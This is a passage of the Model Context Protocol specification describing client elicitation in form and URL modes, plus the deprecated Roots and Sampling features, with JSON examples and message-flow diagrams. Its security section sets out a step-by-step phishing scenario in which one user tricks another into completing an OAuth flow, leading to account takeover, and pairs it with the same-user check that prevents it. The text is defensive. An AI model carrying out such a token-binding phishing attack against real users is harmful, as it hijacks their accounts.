Implementations are free to expose elicitation through any interface pattern that suits their needs—the protocol itself does not mandate any specific user interaction model.

주의

For trust & safety and security:

- Servers **MUST NOT** use form mode elicitation to request sensitive information such as passwords, API keys, access tokens, or payment credentials
- Servers **MUST** use [URL mode](#) for interactions involving such sensitive information

"Sensitive information" in this context refers to secrets and credentials that grant access or authorize transactions. General contact or profile information (such as a name, email address, or username) is not categorically prohibited; whether to request such data via form mode is at the discretion of the server and subject to the user's ability to review and decline.

MCP clients **MUST**:

- Provide UI that makes it clear which server is requesting information
- Respect user privacy and provide clear decline and cancel options
- For form mode, allow users to review and modify their responses before sending
- For URL mode, clearly display the target domain/host and gather user consent before navigation to the target URL

Capabilities

Clients that support elicitation **MUST** declare the `elicitation` capability in `_meta.io.modelcontextprotocol/clientCapabilities` on each request:

```
{
  "_meta": {
    "io.modelcontextprotocol/clientCapabilities": {
      "elicitation": {
        "form": {},
        "url": {}
      }
    }
  }
}
```

For backwards compatibility, an empty capabilities object is equivalent to declaring support for `form` mode only:

```
{
  "_meta": {
    "io.modelcontextprotocol/clientCapabilities": {
      "elicitation": {}, // Equivalent to { "form": {} }
    },
  },
}
```

Clients declaring the `elicitation` capability **MUST** support at least one mode (`form` or `url`).

Servers **MUST NOT** send elicitation requests with modes that are not supported by the client.

Protocol Messages

Elicitation Requests

Servers **MAY** request information from a user during the processing of a client request, by sending an [InputRequiredResult](#) containing an `elicitation/create` request.

All elicitation requests **MUST** include the following parameters:

Name	Type	Options	Description
<code>mode</code>	string	<code>form</code> , <code>url</code>	The mode of the elicitation. Optional for form mode (defaults to <code>"form"</code> if omitted).
<code>message</code>	string		A human-readable message explaining why the interaction is needed.

The `mode` parameter specifies the type of elicitation:

- `"form"`: In-band structured data collection with optional schema validation. Data is exposed to the client.
- `"url"`: Out-of-band interaction via URL navigation. Data (other than the URL itself) is **not** exposed to the client.

For backwards compatibility, servers **MAY** omit the `mode` field for form mode elicitation requests. Clients **MUST** treat requests without a `mode` field as form mode.

Form Mode Elicitation Requests

Form mode elicitation allows servers to collect structured data directly through the MCP client.

Form mode elicitation requests **MUST** either specify `mode: "form"` or omit the `mode` field, and include these additional parameters:

Name	Type	Description
<code>requestedSchema</code>	object	A JSON Schema defining the structure of the expected response.

Requested Schema

The `requestedSchema` parameter allows servers to define the structure of the expected response using a restricted subset of JSON Schema.

To simplify client user experience, form mode elicitation schemas are limited to flat objects with primitive properties only.

The schema is restricted to these primitive types:

1. String Schema

```
json { "type": "string", "title": "Display Name", "description": "Description text", "minLength": 3, "maxLength": 50, "format": "email", "default": "user@example.com" }
```

Supported formats: `email`, `uri`, `date`, `date-time`

2. Number Schema

```
json { "type": "number", // or "integer" "title": "Display Name", "description": "Description text", "minimum": 0, "maximum": 100, "default": 50 }
```

3. Boolean Schema

```
json { "type": "boolean", "title": "Display Name", "description": "Description text", "default": false }
```

4. Enum Schema

Single-select enum (without titles):

```
{
  "type": "string",
  "title": "Color Selection",
  "description": "Choose your favorite color",
  "enum": ["Red", "Green", "Blue"],
  "default": "Red"
}
```

Single-select enum (with titles):

```
{
  "type": "string",
  "title": "Color Selection",
  "description": "Choose your favorite color",
  "oneOf": [
    { "const": "#FF0000", "title": "Red" },
    { "const": "#00FF00", "title": "Green" },
    { "const": "#0000FF", "title": "Blue" }
  ],
  "default": "#FF0000"
}
```

Multi-select enum (without titles):

```
{
  "type": "array",
  "title": "Color Selection",
  "description": "Choose your favorite colors",
  "minItems": 1,
  "maxItems": 2,
  "items": {
    "type": "string",
    "enum": ["Red", "Green", "Blue"]
  },
  "default": ["Red", "Green"]
}
```

Multi-select enum (with titles):

```
{
  "type": "array",
  "title": "Color Selection",
  "description": "Choose your favorite colors",
  "minItems": 1,
  "maxItems": 2,
  "items": {
    "anyOf": [
```

```

    { "const": "#FF0000", "title": "Red" },
    { "const": "#00FF00", "title": "Green" },
    { "const": "#0000FF", "title": "Blue" }
  ]
},
"default": ["#FF0000", "#00FF00"]
}

```

Clients can use this schema to:

1. Generate appropriate input forms
2. Validate user input before sending
3. Provide better guidance to users

All primitive types support optional default values to provide sensible starting points. Clients that support defaults SHOULD pre-populate form fields with these values.

Note that complex nested structures, arrays of objects (beyond enums), and other advanced JSON Schema features are intentionally not supported to simplify client user experience.

Example: Simple Text Request

Input request (delivered inside `InputRequiredResult.inputRequests`):

```

{
  "method": "elicitation/create",
  "params": {
    "mode": "form",
    "message": "Please provide your GitHub username",
    "requestedSchema": {
      "type": "object",
      "properties": {
        "name": {
          "type": "string"
        }
      }
    },
    "required": ["name"]
  }
}

```

Client result (returned inside `inputResponses` on the retried request):

```

{
  "action": "accept",
  "content": {
    "name": "octocat"
  }
}

```

```
}  
}
```

Example: Structured Data Request

Input request (delivered inside `InputRequiredResult.inputRequests`):

```
{  
  "method": "elicitation/create",  
  "params": {  
    "mode": "form",  
    "message": "Please provide your contact information",  
    "requestedSchema": {  
      "type": "object",  
      "properties": {  
        "name": {  
          "type": "string",  
          "description": "Your full name"  
        },  
        "email": {  
          "type": "string",  
          "format": "email",  
          "description": "Your email address"  
        },  
        "age": {  
          "type": "number",  
          "minimum": 18,  
          "description": "Your age"  
        }  
      },  
      "required": ["name", "email"]  
    }  
  }  
}
```

Client result (returned inside `inputResponses` on the retried request):

```
{  
  "action": "accept",  
  "content": {  
    "name": "Monalisa Octocat",  
    "email": "octocat@github.com",  
    "age": 30  
  }  
}
```

URL Mode Elicitation Requests

참고

New feature: URL mode elicitation is introduced in the 2025-11-25 version of the MCP specification. Its design and implementation may change in future protocol revisions.

URL mode elicitation enables servers to direct users to external URLs for out-of-band interactions that must not pass through the MCP client. This is essential for auth flows, payment processing, and other sensitive or secure operations.

URL mode elicitation requests **MUST** specify `mode: "url"`, a `message`, and include these additional parameters:

Name	Type	Description
<code>url</code>	string	The URL that the user should navigate to.

The `url` parameter **MUST** contain a valid URL.

참고

Important: URL mode elicitation is *not* for authorizing the MCP client's access to the MCP server (that's handled by [MCP authorization](#)). Instead, it's used when the MCP server needs to obtain sensitive information or third-party authorization on behalf of the user. The MCP client's bearer token remains unchanged. The client's only responsibility is to provide the user with context about the elicitation URL the server wants them to open.

Example: Request Sensitive Data

This example shows a URL mode elicitation request directing the user to a secure URL where they can provide sensitive information (an API key, for example). The same request could direct the user into an OAuth authorization flow, or a payment flow. The only difference is the URL and the message.

Input request (delivered inside `InputRequiredResult.inputRequests`):

```
{
  "method": "elicitation/create",
  "params": {
    "mode": "url",
    "url": "https://mcp.example.com/ui/set_api_key",
    "message": "Please provide your API key to continue."
  }
}
```

Client result (returned inside `inputResponses` on the retried request):

```
{
  "action": "accept"
}
```

The response with `action: "accept"` indicates that the user has consented to the interaction. It does not mean that the interaction is complete. The interaction occurs out of band and the client is not directly informed of the outcome. When the client retries the original request, the server determines from the echoed `requestState` (or its own stored state) whether the out-of-band interaction has completed, and either returns the final result or responds with another `InputRequiredResult`. Clients **SHOULD** provide manual controls that let the user retry or cancel the original request (or otherwise resume interacting with the client).

Message Flow

Form Mode Flow

```
sequenceDiagram
    participant User
    participant Client
    participant Server

    Client->>Server: tools/call(id: 1)
    note over Server: Server needs more info
    Server-->>Client: InputRequiredResult(elicitation/create (mode: form))

    Note over User,Client: Present elicitation UI
    User-->>Client: Provide requested information

    Note over Server,Client: Retry request with new information
    Client->>Server: tools/call(id: 2, user response)
    Server-->>Client: Result(id: 2, result)
```

URL Mode Flow

```
sequenceDiagram
    participant UserAgent as User Agent (Browser)
    participant User
    participant Client
    participant Server

    Client->>Server: tools/call(id: 1)
    Note over Server: Server needs more info <br/> Server creates requestState encoding url info.
    Server-->>Client: InputRequiredResult(elicitation/create (mode: url), requestState)
```

```
Client->>User: Present consent to open URL
User-->>Client: Provide consent

Client->>UserAgent: Open URL
Client->>Server: tools/call(id: 2, Accept Response, requestState))
Note over Server: Server uses requestState to discover url info. <br/> It may need to block until the request is fulfilled.

Note over User,UserAgent: User interaction
UserAgent-->>Server: Interaction complete

Note over Server: Continue processing with new information
Server-->>Client: Result(id: 2, result)
```

Response Actions

Elicitation responses use a three-action model to clearly distinguish between different user actions. These actions apply to both form and URL elicitation modes.

```
{
  "action": "accept", // or "decline" or "cancel"
  "content": {
    "propertyName": "value",
    "anotherProperty": 42
  }
}
```

The three response actions are:

1. **Accept** (`action: "accept"`): User explicitly approved and submitted with data - For form mode: The `content` field contains the submitted data matching the requested schema - For URL mode: The `content` field is omitted - Example: User clicked "Submit", "OK", "Confirm", etc.
2. **Decline** (`action: "decline"`): User explicitly declined the request - The `content` field is typically omitted - Example: User clicked "Reject", "Decline", "No", etc.
3. **Cancel** (`action: "cancel"`): User dismissed without making an explicit choice - The `content` field is typically omitted - Example: User closed the dialog, clicked outside, pressed Escape, browser failed to load, etc.

Servers should handle each state appropriately:

- **Accept**: Process the submitted data
- **Decline**: Handle explicit decline (e.g., offer alternatives)
- **Cancel**: Handle dismissal (e.g., prompt again later)

Implementation Considerations

Statefulness

Elicitations do not require that the server maintain state about users with the [multi round-trip requests](#) mechanism.

However, if state is stored, servers implementing elicitation **MUST** securely associate this state with individual users following the guidelines in the [security best practices](#) document. Specifically:

- State storage **MUST** be protected against unauthorized access
- For remote MCP servers, user identification **MUST** be derived from credentials acquired via [MCP authorization](#) when possible (e.g. `sub` claim)

참고

The examples in this section are non-normative and illustrate potential uses of elicitation. Implementers should adapt these patterns to their specific requirements while maintaining security best practices.

URL Mode Elicitation for Sensitive Data

For servers that interact with external APIs requiring sensitive information (e.g., credentials, payment information), URL mode elicitation provides a secure mechanism for users to provide this information without exposing it to the MCP client.

In this pattern:

1. The server directs users to a secure web page (served over HTTPS)
2. The page presents a branded form UI on a domain the user trusts
3. Users enter sensitive credentials directly into the secure form
4. The server stores credentials securely, bound to the user's identity
5. Subsequent MCP requests use these stored credentials for API access

This approach ensures that sensitive credentials never pass through the LLM context, MCP client or any intermediate MCP servers, reducing the risk of exposure through client-side logging or other attack vectors.

URL Mode Elicitation for OAuth Flows

URL mode elicitation enables a pattern where MCP servers act as OAuth clients to third-party resource servers. Authorization with external APIs enabled by URL mode elicitation is separate from [MCP authorization](#). MCP servers **MUST NOT** rely on URL mode elicitation to authorize users for themselves.

Understanding the Distinction

- **MCP Authorization:** Required OAuth flow between the MCP client and MCP server (covered in the [authorization specification](#))
- **External (third-party) Authorization:** Optional authorization between the MCP server and a third-party resource server, initiated via URL mode elicitation

In external authorization, the server acts as both:

- An OAuth resource server (to the MCP client)
- An OAuth client (to the third-party resource server)

Example scenario:

- An MCP client connects to an MCP server
- The MCP server integrates with various different third-party services
- When the MCP client calls a tool that requires access to a third-party service, the MCP server needs credentials for that service

The critical security requirements are:

1. **The third-party credentials MUST NOT transit through the MCP client:** The client must never see third-party credentials to protect the security boundary
2. **The MCP server MUST NOT use the client's credentials for the third-party service:** That would be [token passthrough](#), which is forbidden
3. **The user MUST authorize the MCP server directly:** The interaction happens outside the MCP protocol, without involving the MCP client
4. **The MCP server is responsible for tokens:** The MCP server is responsible for storing and managing the third-party tokens obtained through the URL mode elicitation (in other words, the MCP server must be stateful).

Credentials obtained via URL mode elicitation are distinct from the MCP server credentials used by the MCP client. The MCP server **MUST NOT** transmit credentials obtained through URL mode elicitation to the MCP client.

참고

For additional background, refer to the [token passthrough section](#) of the Security Best Practices document to understand why MCP servers cannot act as pass-through proxies.

Implementation Pattern

When implementing external authorization via URL mode elicitation:

1. The MCP server generates an authorization URL, acting as an OAuth client to the third-party service

2. The MCP server stores internal state that associates (binds) the elicitation request with the user's identity.
3. The MCP server sends a URL mode elicitation request to the client with a URL that can start the authorization flow and an optional `requestState` that encodes information about the elicitation request and user (if needed).
4. The user completes the OAuth flow directly with the third-party authorization server
5. The third-party authorization server redirects back to the MCP server
6. The MCP server securely stores the third-party tokens, bound to the user's identity
7. Future MCP requests can leverage these stored tokens for API access to the third-party resource server

The following is a non-normative example of how this pattern could be implemented:

```
sequenceDiagram
    participant User
    participant UserAgent as User Agent (Browser)
    participant 3AS as 3rd Party AS
    participant 3RS as 3rd Party RS
    participant Client as MCP Client
    participant Server as MCP Server

    Client->>Server: tools/call
    Note over Server: Needs 3rd-party authorization for user
    Note over Server: Store state (bind the elicitation request to the user)
    Note over Server: generate requestState that encodes information about the original request and user.
    Server->>Client: InputRequiredResult<br/>(mode: "url", url: "https://mcp.example.com/connect?... ", requestState)

    Client->>User: Present consent to open URL
    User->>Client: Provide consent
    Client->>UserAgent: Open URL
    Client->>Server: Accept response
    UserAgent->>Server: Load connect route

    Note over Server: Confirm: user is logged into MCP Server or MCP AS<br>Confirm: elicitation user matches session user
    Server->>UserAgent: Redirect to third-party authorization endpoint
    UserAgent->>3AS: Load authorize route
    Note over 3AS,User: User interaction (OAuth flow):<br>User consents to scoped MCP Server access
    3AS->>UserAgent: redirect to MCP Server's redirect_uri
    UserAgent->>Server: load redirect_uri page
    Note over Server: Confirm: redirect_uri belongs to MCP Server
    Server->>3AS: Exchange authorization code for OAuth tokens
    3AS->>Server: Grants tokens
    Note over Server: Bind tokens to MCP user identity
    Client->>Server: tools/call (ElicitResults, requestState)
```

Note over Server: Retrieve token bound to user identity
Server->>3RS: Call 3rd-party API

This pattern maintains clear security boundaries while enabling rich integrations with third-party services that require user authorization.

Error Handling

Servers **SHOULD NOT** assume that elicitation requests will always succeed, and **MUST** handle cases where the user declines or cancels the elicitation, or where the client fails to process the request.

Security Considerations

1. Servers **MUST** bind elicitation requests to the client and user identity
2. Clients **MUST** provide clear indication of which server is requesting information
3. Clients **SHOULD** implement user approval controls
4. Clients **SHOULD** allow users to decline elicitation requests at any time
5. Clients **SHOULD** present elicitation requests in a way that makes it clear what information is being requested and why

Safe URL Handling

MCP servers requesting elicitation:

1. **MUST NOT** include sensitive information about the end-user, including credentials, personally identifiable information, etc., in the URL sent to the client in a URL elicitation request.
2. **MUST NOT** provide a URL which is pre-authenticated to access a protected resource, as the URL could be used to impersonate the user by a malicious client.
3. **SHOULD NOT** include URLs intended to be clickable in any field of a form mode elicitation request.
4. **SHOULD** use HTTPS URLs for non-development environments.

These server requirements ensure that client implementations have clear rules about when to present a URL to the user, so that the client-side rules (below) can be consistently applied.

Clients implementing URL mode elicitation **MUST** handle URLs carefully to prevent users from unknowingly clicking malicious links.

When handling URL mode elicitation requests, MCP clients:

1. **MUST NOT** automatically pre-fetch the URL or any of its metadata.
2. **MUST NOT** open the URL without explicit consent from the user.
3. **MUST** show the full URL to the user for examination before consent.
4. **MUST** open the URL provided by the server in a secure manner that does not enable the client or LLM to inspect the content or user inputs. For example, on iOS,

[SFSafariViewController](#) is good, but [WkWebView](#) is not.

5. **SHOULD** highlight the domain of the URL to mitigate subdomain spoofing.
6. **SHOULD** have warnings for ambiguous/suspicious URIs (i.e., containing Punycode).
7. **SHOULD NOT** render URLs as clickable in any field of an elicitation request, except for the `url` field in a URL elicitation request (with the restrictions detailed above).

Identifying the User

Servers **MUST NOT** rely on client-provided user identification without server verification, as this can be forged. Instead, servers **SHOULD** follow [security best practices](#).

Non-normative examples:

- Incorrect: Treat user input like "I am joe@example.com" as authoritative
- Correct: Rely on [authorization](#) to identify the user

Form Mode Security

1. Servers **MUST NOT** request sensitive information (passwords, API keys, etc.) via form mode
2. Clients **SHOULD** validate all responses against the provided schema
3. Servers **SHOULD** validate received data matches the requested schema

Phishing

URL mode elicitation returns a URL that an attacker can use to send to a victim. The MCP Server **MUST** verify the identity of the user who opens the URL before accepting information.

Typically identity verification is done by leveraging the [MCP authorization server](#) to identify the user, through a session cookie or equivalent in the browser.

For example, URL mode elicitation may be used to perform OAuth flows where the server acts as an OAuth client of another resource server. Without proper mitigation, the following phishing attack is possible:

1. A malicious user (Alice) connected to a benign server triggers an elicitation request
2. The benign server generates an authorization URL, acting as an OAuth client of a third-party authorization server
3. Alice's client displays the URL and asks for consent
4. Instead of clicking on the link, Alice tricks a victim user (Bob) of the same benign server into clicking it
5. Bob opens the link and completes the authorization, thinking they are authorizing their own connection to the benign server
6. The benign server receives a callback/redirect from the third-party authorization server, and assumes it's Alice's request
7. The tokens for the third-party server are bound to Alice's session and identity, instead of Bob's, resulting in an account takeover

To prevent this attack, the server **MUST** ensure that the user who started the elicitation request (the end-user who is accessing the server via the MCP client) is the same user who completes the authorization flow.

There are many ways to achieve this and the best way will depend on the specific implementation.

As a common, non-normative example, consider a case where the MCP server is accessible via the web and desires to perform a third-party authorization code flow. To prevent the phishing attack, the server would create a URL mode elicitation to `https://mcp.example.com/connect?...` rather than the third-party authorization endpoint. This "connect URL" must ensure the user who opened the page is the same user for whom the elicitation was generated. It would, for example, check that the user has a valid session cookie and that the session cookie is for the same user who was using the MCP client to generate the URL mode elicitation. This could be done by comparing the authoritative subject (`sub` claim) from the MCP server's authorization server to the subject from the session cookie. Once that page ensures the same user, it can send the user to the third-party authorization server at `https://example.com/authorize?...` where a normal OAuth flow can be completed.

In other cases, the server may not be accessible via the web and may not be able to use a session cookie to identify the user. In this case, the server must use a different mechanism to identify that the user who opens the elicitation URL is the same user for whom the elicitation was generated.

In all implementations, the server **MUST** ensure that the mechanism to determine the user's identity is resilient to attacks where an attacker can modify the elicitation URL.

Roots

mcp/specification/2026-07-28/client/roots.mdx

주의

Deprecated: The Roots feature is deprecated as of protocol version 2026-07-28 ([SEP-2577](#)). Under the [feature lifecycle policy](#), it remains in the specification for at least twelve months after this revision's release before it becomes eligible for removal. New implementations **SHOULD NOT** adopt it; existing implementations **SHOULD** migrate to passing directories or files via tool parameters, resource URIs, or server configuration. See the [deprecated features registry](#).

The Model Context Protocol (MCP) provides a standardized way for clients to expose filesystem "roots" to servers. Roots inform servers about the directories and files the client considers relevant, so that servers can focus their operations accordingly. They are informational guidance rather than an access-control mechanism. The protocol does not enforce that servers stay within roots. Servers can request the list of roots from supporting clients.

User Interaction Model

Roots in MCP are typically exposed through workspace or project configuration interfaces.

For example, implementations could offer a workspace/project picker that allows users to select directories and files the server should have access to. This can be combined with automatic workspace detection from version control systems or project files.

However, implementations are free to expose roots through any interface pattern that suits their needs—the protocol itself does not mandate any specific user interaction model.

Capabilities

Clients that support roots **MUST** declare the `roots` capability in `_meta.io.modelcontextprotocol/clientCapabilities` on each request:

```
{
  "_meta": {
    "io.modelcontextprotocol/clientCapabilities": {
      "roots": {}
    }
  }
}
```

Protocol Messages

Listing Roots

To retrieve roots during the processing of a client request, servers send an `InputRequiredResult` containing a `roots/list` request:

Input request (delivered inside `InputRequiredResult.inputRequests`):

```
{
  "method": "roots/list"
}
```

Client result (returned inside `inputResponses` on the retried request):

```
{
  "roots": [
    {
      "uri": "file:///home/user/projects/myproject",
      "name": "My Project"
    }
  ]
}
```

Message Flow

```
sequenceDiagram
    participant Server
    participant Client

    Note over Server,Client: Initial Request
    Client->>Server: tools/call(id: 1)
    Server-->>Client: InputRequiredResult(roots/list)
    Client->>Server: tools/call(id: 2, inputResponses{key: roots} + requestState)
```

Data Types

Root

A root definition includes:

- `uri`: Unique identifier for the root. This **MUST** be a `file://` URI in the current specification.
- `name`: Optional human-readable name for display purposes.

Example roots for different use cases:

Project Directory

```
{
  "uri": "file:///home/user/projects/myproject",
  "name": "My Project"
}
```

Multiple Repositories

```
[
  {
    "uri": "file:///home/user/repos/frontend",
    "name": "Frontend Repository"
  },
  {
    "uri": "file:///home/user/repos/backend",
    "name": "Backend Repository"
  }
]
```

Error Handling

If an error occurs, the client does not need to replay the initial call with an error message as the server is not waiting for a response with the `InputRequiredResult` pattern.

Security Considerations

1. Clients **MUST**: - Only expose roots with appropriate permissions - Validate all root URIs to prevent path traversal - Implement proper access controls - Monitor root accessibility
2. Servers **SHOULD**: - Handle cases where roots become unavailable - Respect root boundaries during operations - Validate all paths against provided roots

Implementation Guidelines

1. Clients **SHOULD**: - Prompt users for consent before exposing roots to servers - Provide clear user interfaces for root management - Validate root accessibility before exposing - Monitor for root changes
2. Servers **SHOULD**: - Check for roots capability before usage - Respect root boundaries in operations - Cache root information appropriately

Sampling

mcp/specification/2026-07-28/client/sampling.mdx

주의

Deprecated: The Sampling feature is deprecated as of protocol version 2026-07-28 ([SEP-2577](#)). Under the [feature lifecycle policy](#), it remains in the specification for at least twelve months after this revision's release before it becomes eligible for removal. New implementations **SHOULD NOT** adopt it; existing implementations **SHOULD** migrate to integrating directly with LLM provider APIs. See the [deprecated features registry](#).

The Model Context Protocol (MCP) provides a standardized way for servers to request LLM sampling ("completions" or "generations") from language models via clients. This flow allows clients to maintain control over model access, selection, and permissions while enabling servers to leverage AI capabilities—with no server API keys necessary. Servers can request text, audio, or image-based interactions and optionally include context from MCP servers in their prompts.

User Interaction Model

Sampling in MCP allows servers to implement agentic behaviors, by enabling LLM calls to occur *nested* inside other MCP server features.

Implementations are free to expose sampling through any interface pattern that suits their needs—the protocol itself does not mandate any specific user interaction model.

주의

For trust & safety and security, there **SHOULD** always be a human in the loop with the ability to deny sampling requests.

Applications **SHOULD**:

- Provide UI that makes it easy and intuitive to review sampling requests
- Allow users to view and edit prompts before sending
- Present generated responses for review before delivery

Tools in Sampling

Servers can request that the client's LLM use tools during sampling by providing a `tools` array and optional `toolChoice` configuration in their sampling requests. The tool definitions in the `tools` array are scoped to the sampling request — they don't need to correspond to registered tools. This

enables servers to implement agentic behaviors where the LLM can call specially designated tools, receive results, and continue the conversation - all within a single sampling request flow.

Clients **MUST** declare support for tool use via the `sampling.tools` capability to receive tool-enabled sampling requests. Servers **MUST NOT** send tool-enabled sampling requests to Clients that have not declared support for tool use via the `sampling.tools` capability.

Capabilities

Clients that support sampling **MUST** declare the `sampling` capability in `_meta.io.modelcontextprotocol/clientCapabilities` on each request:

Basic sampling:

```
{
  "_meta": {
    "io.modelcontextprotocol/clientCapabilities": {
      "sampling": {}
    }
  }
}
```

With tool use support:

```
{
  "_meta": {
    "io.modelcontextprotocol/clientCapabilities": {
      "sampling": {
        "tools": {}
      }
    }
  }
}
```

With context inclusion support (deprecated):

```
{
  "_meta": {
    "io.modelcontextprotocol/clientCapabilities": {
      "sampling": {
        "context": {}
      }
    }
  }
}
```

참고

The `includeContext` parameter values `"thisServer"` and `"allServers"` are deprecated under the [feature lifecycle policy](#) ([SEP-2596](#)); they will be removed no later than the Sampling feature itself. Servers **SHOULD** avoid using these values (e.g. can just omit `includeContext` since it defaults to `"none"`), and **SHOULD NOT** use them unless the client declares `sampling.context` capability. See the [deprecated features registry](#).

Protocol Messages

Creating Messages

To request a language model generation during the processing of a client request, servers send an `InputRequiredResult` containing a `sampling/createMessage` request:

Input request (delivered inside [InputRequiredResult.inputRequests](#)):

```
{
  "method": "sampling/createMessage",
  "params": {
    "messages": [
      {
        "role": "user",
        "content": {
          "type": "text",
          "text": "What is the capital of France?"
        }
      }
    ],
    "modelPreferences": {
      "hints": [
        {
          "name": "claude-3-sonnet"
        }
      ],
      "costPriority": 0.3,
      "intelligencePriority": 0.8,
      "speedPriority": 0.5
    },
    "temperature": 0.1,
    "systemPrompt": "You are a helpful assistant.",
    "includeContext": "thisServer",
    "maxTokens": 100
  }
}
```

Client result (returned inside `inputResponses` on the retried request):

```
{
  "role": "assistant",
  "content": {
    "type": "text",
    "text": "The capital of France is Paris."
  },
  "model": "claude-3-sonnet-20240307",
  "stopReason": "endTurn"
}
```

Sampling with Tools

The following diagram illustrates the complete flow of sampling with tools, including the multi-turn tool loop:

```
sequenceDiagram
    participant Server
    participant Client
    participant User
    participant LLM

    Client->>Server: tools/call(id:1)
    note right of Server: Server needs more info
    Server->>Client: InputRequiredResult(<br/>sampling/createMessage<br/>(messages + tools))

    Note over Client,User: Human-in-the-loop review
    Client->>User: Present request for approval
    User-->>Client: Approve/modify

    Client->>LLM: Forward request with tools
    LLM-->>Client: Response with tool_use<br/>(stopReason: "toolUse")

    Client->>User: Present tool calls for review
    User-->>Client: Approve tool calls
    Client-->>Server: tools/call(id:2, Return tool_use response)

    Note over Server: Execute tool(s)
    Server->>Server: Run get_weather("Paris")<br/>Run get_weather("London")

    Note over Server,Client: Continue with tool results
    Server->>Client: InputRequiredResult(<br/>sampling/createMessage<br/>(history + tool_results + tools))

    Client->>User: Present continuation
    User-->>Client: Approve

    Client->>LLM: Forward with tool results
    LLM-->>Client: Final text response<br/>(stopReason: "endTurn")
```

```
Client->>User: Present response
User-->>Client: Approve
Client-->>Server: tools/call(id:3, Return final response)
```

Note over Server: Server processes result
(may continue conversation...)

To request LLM generation with tool use capabilities, servers include `tools` and optionally `toolChoice` in the request:

Input request (Server -> Client, delivered inside `InputRequiredResult.inputRequests`):

```
{
  "method": "sampling/createMessage",
  "params": {
    "messages": [
      {
        "role": "user",
        "content": {
          "type": "text",
          "text": "What's the weather like in Paris and London?"
        }
      }
    ],
    "tools": [
      {
        "name": "get_weather",
        "description": "Get current weather for a city",
        "inputSchema": {
          "type": "object",
          "properties": {
            "city": {
              "type": "string",
              "description": "City name"
            }
          }
        },
        "required": ["city"]
      }
    ],
    "toolChoice": {
      "mode": "auto"
    },
    "maxTokens": 1000
  }
}
```

Client result (Client -> Server, returned inside `inputResponses` on the retried request):

```
{
  "role": "assistant",
  "content": [
    {
      "type": "tool_use",
      "id": "call_abc123",
      "name": "get_weather",
      "input": {
        "city": "Paris"
      }
    },
    {
      "type": "tool_use",
      "id": "call_def456",
      "name": "get_weather",
      "input": {
        "city": "London"
      }
    }
  ],
  "model": "claude-3-sonnet-20240307",
  "stopReason": "toolUse"
}
```

Multi-turn Tool Loop

After receiving tool use requests from the LLM, the server typically:

1. Executes the requested tool uses.
2. Sends a new sampling request with the tool results appended
3. Receives the LLM's response (which might contain new tool uses)
4. Repeats as many times as needed (server might cap the maximum number of iterations, and e.g. pass `toolChoice: {mode: "none"}` on the last iteration to force a final result)

Follow-up input request (Server -> Client, delivered inside `InputRequiredResult.inputRequests`) with tool results:

```
{
  "method": "sampling/createMessage",
  "params": {
    "messages": [
      {
        "role": "user",
        "content": {
          "type": "text",
          "text": "What's the weather like in Paris and London?"
        }
      }
    ],
  },
}
```

```

{
  "role": "assistant",
  "content": [
    {
      "type": "tool_use",
      "id": "call_abc123",
      "name": "get_weather",
      "input": { "city": "Paris" }
    },
    {
      "type": "tool_use",
      "id": "call_def456",
      "name": "get_weather",
      "input": { "city": "London" }
    }
  ]
},
{
  "role": "user",
  "content": [
    {
      "type": "tool_result",
      "toolUseId": "call_abc123",
      "content": [
        {
          "type": "text",
          "text": "Weather in Paris: 18°C, partly cloudy"
        }
      ]
    },
    {
      "type": "tool_result",
      "toolUseId": "call_def456",
      "content": [
        {
          "type": "text",
          "text": "Weather in London: 15°C, rainy"
        }
      ]
    }
  ]
}
],
"tools": [
  {
    "name": "get_weather",
    "description": "Get current weather for a city",
    "inputSchema": {
      "type": "object",
      "properties": {
        "city": { "type": "string" }
      }
    }
  }
]

```

```

    },
    "required": ["city"]
  }
}
],
"maxTokens": 1000
}
}

```

Final client result (Client -> Server, returned inside `inputResponses` on the retried request):

```

{
  "role": "assistant",
  "content": {
    "type": "text",
    "text": "Based on the current weather data:\n\n- **Paris**: 18°C and partly cloudy - quite pleasant!\n- **London**: 15°C and rainy - you'll want an umbrella.\n\nParis has slightly warmer and drier conditions today."
  },
  "model": "claude-3-sonnet-20240307",
  "stopReason": "endTurn"
}

```

Message Content Constraints

Tool Result Messages

When a user message contains tool results (type: "tool_result"), it **MUST** contain ONLY tool results. Mixing tool results with other content types (text, image, audio) in the same message is not allowed.

This constraint ensures compatibility with provider APIs that use dedicated roles for tool results (e.g., OpenAI's "tool" role, Gemini's "function" role).

Valid - single tool result:

```

{
  "role": "user",
  "content": {
    "type": "tool_result",
    "toolUseId": "call_123",
    "content": [{ "type": "text", "text": "Result data" }]
  }
}

```

Valid - multiple tool results:

```
{
  "role": "user",
  "content": [
    {
      "type": "tool_result",
      "toolUseId": "call_123",
      "content": [{ "type": "text", "text": "Result 1" }]
    },
    {
      "type": "tool_result",
      "toolUseId": "call_456",
      "content": [{ "type": "text", "text": "Result 2" }]
    }
  ]
}
```

Invalid - mixed content:

```
{
  "role": "user",
  "content": [
    {
      "type": "text",
      "text": "Here are the results:"
    },
    {
      "type": "tool_result",
      "toolUseId": "call_123",
      "content": [{ "type": "text", "text": "Result data" }]
    }
  ]
}
```

Tool Use and Result Balance

When using tool use in sampling, every assistant message containing `ToolUseContent` blocks **MUST** be followed by a user message that consists entirely of `ToolResultContent` blocks, with each tool use (e.g. with `id: $id`) matched by a corresponding tool result (with `toolUseId: $id`), before any other message.

This requirement ensures:

- Tool uses are always resolved before the conversation continues
- Provider APIs can concurrently process multiple tool uses and fetch their results in parallel
- The conversation maintains a consistent request-response pattern

Example valid sequence:

1. User message: "What's the weather like in Paris and London?"
2. Assistant message: `ToolUseContent ( id: "call_abc123", name: "get_weather", input: {city: "Paris"}) + ToolUseContent ( id: "call_def456", name: "get_weather", input: {city: "London"})`
3. User message: `ToolResultContent ( toolUseId: "call_abc123", content: "18°C, partly cloudy" ) + ToolResultContent ( toolUseId: "call_def456", content: "15°C, rainy" )`
4. Assistant message: Text response comparing the weather in both cities

Invalid sequence - missing tool result:

1. User message: "What's the weather like in Paris and London?"
2. Assistant message: `ToolUseContent ( id: "call_abc123", name: "get_weather", input: {city: "Paris"}) + ToolUseContent ( id: "call_def456", name: "get_weather", input: {city: "London"})`
3. User message: `ToolResultContent ( toolUseId: "call_abc123", content: "18°C, partly cloudy" )`
← Missing result for call_def456
4. Assistant message: Text response (invalid - not all tool uses were resolved)

Cross-API Compatibility

The sampling specification is designed to work across multiple LLM provider APIs (Claude, OpenAI, Gemini, etc.). Key design decisions for compatibility:

Message Roles

MCP uses two roles: "user" and "assistant".

Tool use requests are sent in `CreateMessageResult` with the "assistant" role. Tool results are sent back in messages with the "user" role. Messages with tool results cannot contain other kinds of content.

Tool Choice Modes

